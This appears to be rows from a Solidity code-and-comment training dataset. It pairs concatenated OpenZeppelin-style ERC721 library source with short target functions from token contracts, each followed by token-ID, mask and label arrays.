* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | @notice Getter for the total amount of token already released. @param _token Payment token address @return The total amount release to shareholders | function totalReleased(address _token) external view returns (uint256) {
return tokenRecords[_token].totalReleased;
}
| 427,675 | [
1,
8461,
364,
326,
2078,
3844,
434,
1147,
1818,
15976,
18,
225,
389,
2316,
12022,
1147,
1758,
327,
1021,
2078,
3844,
3992,
358,
7433,
9000,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2078,
26363,
12,
2867,
389,
2316,
13,
3903,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
1147,
6499,
63,
67,
2316,
8009,
4963,
26363,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/42/0x786fdD0A822490D62Db2bA65EEBa8cd684968FF7/sources/BatterseaScriptsV1.sol | Finally, transfer the recently bought underlying to the end user. */ | tokenOut.safeTransfer(msg.sender, underlyingAmount);
| 3,354,852 | [
1,
29987,
16,
7412,
326,
19907,
800,
9540,
6808,
358,
326,
679,
729,
18,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
1147,
1182,
18,
4626,
5912,
12,
3576,
18,
15330,
16,
6808,
6275,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x1f7e9E828CBeE6A113341200123b80A860f3c1D9/sources/GeoCities1999.sol | remove limits after token is stable | function removeLimit() external onlyOwner returns (bool){
